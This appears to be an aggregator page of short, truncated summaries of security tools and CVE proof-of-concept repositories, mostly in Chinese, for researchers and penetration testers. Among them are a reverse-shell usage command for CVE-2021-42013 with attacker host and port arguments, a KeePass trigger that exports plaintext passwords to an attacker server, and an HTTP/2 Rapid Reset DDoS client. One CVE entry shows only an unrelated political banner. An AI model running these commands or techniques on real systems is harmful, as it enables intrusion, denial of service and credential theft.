GhidrAssist

GhidrAssist 作者：Jason Tang 一款基于LLM的高级插件，为Ghidra中的交互式逆向工程提供智能辅助。 描述 GhidrAssist 将大型语言模型（LLM）集成到 Ghidra 中，为二进制探索和逆向工程提供智能辅助。它支持任何兼容 OpenAI v1 的 API，包括本地模型（Ollama、LM-Studio、Open-WebUI）和云提供商（OpenAI、Anthropic、Azure）。 主要功能 核心功能： 代码解释 - 在反汇编和解编译伪C中解释函数和指令 安全分析面板，显示风险等级、活动概要和API使用情况 可编辑摘要，带用户编辑保护，防止自动覆盖...

diaphora-mcp

Читать на русском языке Diaphora MCP Diaphora MCP 是一个用于自动二进制差异分析的 MCP（模型上下文协议）服务器。它通过 MCP 协议连接 Diaphora（差异分析引擎）和 IDA Pro（反汇编器），使得 AI 代理（如 Claude Code）能够执行二进制文件比较、发现安全补丁并分析变更。 特性 导出 ：将分析后的 .i64 / .idb 数据库转换为 Diaphora SQLite 格式（通过 idat.exe 无头模式） 差异分析 ：比较两个导出的数据库，按匹配类型和比率过滤结果 漏洞分析...

CVE-2023-38545

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos el regreso seguro de todos los ciudadanos que han sido tomados como rehenes por el grupo terrorista Hamas. No descansaremos hasta que cada rehén sea liberado y regrese a casa sano y salvo. Puedes ayudar a traerlos de vuelta a...

L0p4Map

L0p4Map Nmap曾盲目，L0p4Map洞察秋毫。 面向安全研究人员的专业级网络监控与可视化工具。 https://github.com/user-attachments/assets/745eb888-0636-47e8-9293-38a706a8e897 L0p4Map 是什么？ L0p4Map 是一款专业级网络监控工具，将 nmap 的强大功能与简洁现代的深色用户界面相结合。专为需要快速、详细掌握基础设施状况的安全研究人员和网络管理员设计。 无冗余，无废话，只有纯粹的网络情报。 现已支持 Linux、Windows 和 macOS。 功能特性 多平台支持 ：在...

CVE-2022-25584

Flexwatch Flexwatch-CVE 本文档针对 CVE-2022-25584 "已保留" https://vulners.com/cve/CVE-2022-25584 此漏洞已被 CNVD 收录，但尚未公开 CNVD ID:CNVD-2021-103443 漏洞复现： 我们发现由 Seyeon Tech Co., Ltd. 拥有的 FlexWATCH FW3170-PS-E 网络视频系统 4.23-3000GY 存在未授权访问漏洞，攻击者可利用该漏洞获取监控图像并泄露敏感信息 例如：...

CVE-2023-44487

Rapid Reset Client Rapid Reset Client 是一款用于测试针对 CVE-2023-44487（快速重置 DDoS 攻击向量）的缓解措施和暴露程度的工具。它实现了一个最小的 HTTP/2 客户端，该客户端打开单个 TCP 套接字，协商 TLS，忽略证书，并交换 SETTINGS 帧。然后，客户端发送快速的 HEADERS 帧，随后发送 RSTSTREAM 帧。初始配置后，它监控（但不处理）来自服务器的帧，并将其输出到标准输出。 基于漏洞 CVE-2023-44487 的脚本修改 提供了为 Windows 编译的脚本 cve.bat，以及为在其他系统上通过...

CVE-2026-54121-PoC-Exploit

CVE-2026-54121 - AD CS "Certighost" 权限提升框架工具包 Active Directory 证书服务 — Certighost → 域接管 漏洞利用框架与审计工具包 仅供授权安全测试使用。 --- ⚖️ 法律免责声明与责任使用 本工具仅用于教育和授权渗透测试目的。 作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。用户全权负责确保在测试前已获得目标所有者明确的书面许可。根据适用的联邦、州及国际网络犯罪法律，未经授权访问计算机系统属于违法行为。 使用本软件即表示您同意： 仅将本工具用于您拥有或已获得明确测试许可的系统。...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

oauth2-proxy

OAuth2 Proxy es una herramienta flexible de código abierto que puede actuar como un proxy inverso independiente o como un componente de middleware integrado en configuraciones existentes de proxy inverso o balanceadores de carga. Proporciona una forma simple y segura de proteger tus aplicaciones...

PoC_CVE-2019-0217

Este repositorio contiene un exploit de prueba de concepto para CVE-2019-0217, junto con un Dockerfile para configurar un servidor web vulnerable a este CVE. Descripción del CVE En Apache HTTP Server 2.4, versiones 2.4.38 y anteriores, una condición de carrera en modauthdigest cuando se ejecuta e...

KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 KeePass CVE-2023-24055复现 KeePass CVE-2023-24055复现 1，准备机器：kali（192.168.232.129），windows10（192.168.232.128） 2,keepass版本：2.53 2，原理：通过修改keepass配置文件KeePass.config.xml，添加触发器配置项：导出明文密码并上传到攻击者服务器上；添加触发器的xml代码如下： 其中：c:\Users\Long\AppData\Local\Temp\exploit.xml字段为设置导出明文密码的本机路径...

ferret

Ferret 面向安全测试人员的协作式 MITM 代理。 从统一界面捕获 HTTP 流量、使用 AI 为请求添加注解、运行 hunt 会话、重放流量并跟踪发现项。 快速开始 · 功能特性 · 截图 · 配置 · 安全 · 参与贡献 快速开始 安装 root@kitploit: git clone https://github.com/synlace/ferret.git cd ferret cp .env.example .env optional just up 或者直接使用 Docker Compose： root@kitploit: docker compose up --buil...

CVE-2022-28368-handler

CVE-2022-28368-handler 本仓库包含一个 Python 脚本，用于处理 dompdf 缓存字体漏洞（CVE-2022-28368）的大部分工作，你只需创建请求即可。它甚至还会提供一个触发字符串来启动漏洞利用 : 使用 root@kitploit: usage: CVE-2022-28368.py -h -d DOMPDFLOCATION -f FONTNAME -i HTTPIP -p HTTPPORT -P PHP -w -r This script handles the majority of the dompdf cached font exploit...

CVE-2018-16987

CVE-2018-16987 这是在渗透测试期间，我在 Squash TM 中发现的一个敏感信息明文存储与敏感信息暴露漏洞。 SquashTM Squash TM 是一个用于管理测试用例的 Web 界面。项目链接 描述 Squash TM 至少到 1.18.0 版本会在管理面板中展示外部服务的明文密码，正如 HTML 源代码中的 ta-server-password 字段所示。 详细信息 在 SquashTM 的管理面板中，外部服务（又称自动化服务器）页面包含服务账户的明文密码。这些外部服务可以是任何东西，一个常见的例子是 Jenkins 服务器。 以下是一个示例...

awesome-osint-arsenal

🔍 令人惊叹的 OSINT 武器库 终极开源情报 + 安全工具包 751+ 工具 · 50 类别 · 多发行版安装程序 · Georgian OSINT · Termux 支持 互联网上最全面的 OSINT 和安全工具包 — 每个工具都附有安装说明或经过验证的链接。 ⚡ 一键获取所有工具bash git clone https://github.com/rawfilejson/awesome-osint-arsenal && cd awesome-osint-arsenal && sudo bash install.sh root@kitploit: 🎯 或者只挑选你需要的bash su...

cve-2023-5217-poc

CVE-2023-5217：libvpx VP8 编码堆溢出 PoC CVE-2023-5217 是一个已在野外被利用的 libvpx 漏洞，由谷歌威胁分析组的 Clément Lecigne 发现，该漏洞针对 Chrome 浏览器。 本仓库演示了如何使用 WebCodecs 和 MediaRecorder API 在浏览器中触发 CVE-2023-5217。CVE-2023-5217 允许堆缓冲区溢出，溢出长度可控，并可用重复的小 4 字节值进行覆盖。目前尚不清楚 CVE-2023-5217 是如何在野外被利用的。 在公开披露前后，libvpx 中出现了两个补丁，Chromium...

CVE-2026-66066-POC

CVE-2026-66066 的 PoC - 最小化 stock Rails/libvips 实验环境 本仓库复现了 GHSA-xr9x-r78c-5hrm 所描述的 Rails Active Storage 文件读取到 RCE 攻击链，针对 Rails 8.1.3（受影响的 Rails 8.1 最新版本）进行复现。Rails 8.1.3.1 是已修补的对照组。 请仅在此处所述的一次性本地实验环境中使用。HTTP 驱动拒绝非 loopback 目标（不过修改 Python 代码以对其他目标进行授权测试非常简单）。 严格的目标/攻击者边界 目标是常规的 Rails 应用程序。其最终镜像包含...

Apache_Penetration_Tool

ApachePenetrationTool 使用QT C++开发的一款漏洞利用工具。 中文说明 English description 工具界面 在漏洞选择编号处，选择需要检测的漏洞。 漏洞检测 在第一个文本栏中填写目标url或者ip，带上http或者https，结果会在最后一个大的文本框中显示出来。 目录遍历 在第二个文本栏中填写需要被读取的文件绝对路径，结果会在最后一个大的文本框中显示出来。 命令执行...

x-stream__xstream_CVE-2020-26217_1-4-14-java77

master: v-1.4.x: XStream Java 与 XML 序列化，以及反向转换 二进制文件 所有二进制构件都打包在 -bin 压缩包中。其中包括 XStream 的 jar 包以及构建时使用或可选的运行时扩展库。建议使用 MXParser，因为它能大幅提升 XStream 的性能。 文档 文档可在 GitHub 查阅。内容包括： 简介 和 教程 JavaDoc 变更历史 常见问题解答 安全性 源代码 XStream 的完整源代码打包在 -src 压缩包中。包括： 主 API xstream/src/java 单元测试 xstream/src/test Maven 构建文件...

CVE-2024-9264

CVE-2024-9264 参考文档 https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264 1. 漏洞概要 项目| 内容 ---|--- CVE| CVE-2024-9264 目标| Grafana SQL Expressions 影响| 本地文件包含LFI、远程代码执行RCE 严重程度| 严重 CVSS 9.9 攻击条件| 经过身份验证的用户管理员权限 攻击方式| 滥用 SQL Expression 功能执行 DuckDB SQL Grafana...